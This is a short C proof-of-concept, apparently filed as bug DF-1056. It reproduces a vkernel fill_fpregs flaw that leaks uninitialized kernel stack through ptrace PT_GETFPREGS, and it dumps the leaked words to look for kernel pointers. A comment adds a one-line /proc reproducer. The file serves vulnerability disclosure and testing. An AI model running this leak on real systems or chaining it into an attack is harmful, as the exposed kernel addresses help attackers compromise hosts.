DF-1056 / leak_fpregs.c
/* SPDX-License-Identifier: BSD-2-Clause * DF-1056 PoC: vkernel fill_fpregs leaks ~404 bytes of uninitialized * kernel stack via PT_GETFPREGS. * * Build: cc -o leak_fpregs leak_fpregs.c * Run: ./leak_fpregs * * Expected: stderr reports >0 non-zero/non-poison bytes in the * [108..511] range of struct fpreg, and the printed 64-bit words at * offsets 128..184 contain plausible vkernel stack residue (function * pointers / return addresses / stashed register values). * * Equivalent reproducer without ptrace: * cat /proc/<same-uid-pid>/fpregs | xxd | less */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <signal.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/wait.h> #include <machine/reg.h> int main(void) { pid_t child = fork(); if (child == 0) { ptrace(PT_TRACE_ME, 0, NULL, 0); raise(SIGSTOP); /* let parent attach */ _exit(0); } if (child < 0) { perror("fork"); return 1; } waitpid(child, NULL, 0); struct fpreg fp; memset(&fp, 0x5a, sizeof(fp)); /* poison so we can see what is overwritten */ if (ptrace(PT_GETFPREGS, child, (caddr_t)&fp, 0) < 0) { perror("PT_GETFPREGS"); /* Continue the child so we don't leave it stopped. */ ptrace(PT_CONTINUE, child, (caddr_t)1, 0); return 1; } /* Bytes 0..107 are filled by fill_fpregs_xmm; 108..511 are leaked. */ int leaked = 0; for (size_t i = 108; i < sizeof(fp); i++) if (((unsigned char *)&fp)[i] != 0x5a && ((unsigned char *)&fp)[i] != 0x00) leaked++; fprintf(stderr, "PT_GETFPREGS returned %zu bytes, %d non-zero/non-poison in [108..511]\n", sizeof(fp), leaked); /* Dump a window to inspect for kernel pointers */ unsigned long *p = (unsigned long *)((char *)&fp + 128); /* inside fpr_xacc */ for (int i = 0; i < 8; i++) fprintf(stderr, " fpregs[%+d] = 0x%016lx\n", 128 + i*8, p[i]); ptrace(PT_CONTINUE, child, (caddr_t)1, 0); waitpid(child, NULL, 0); return leaked > 0 ? 0 : 2; /* exit 2 == not reproduced */ } |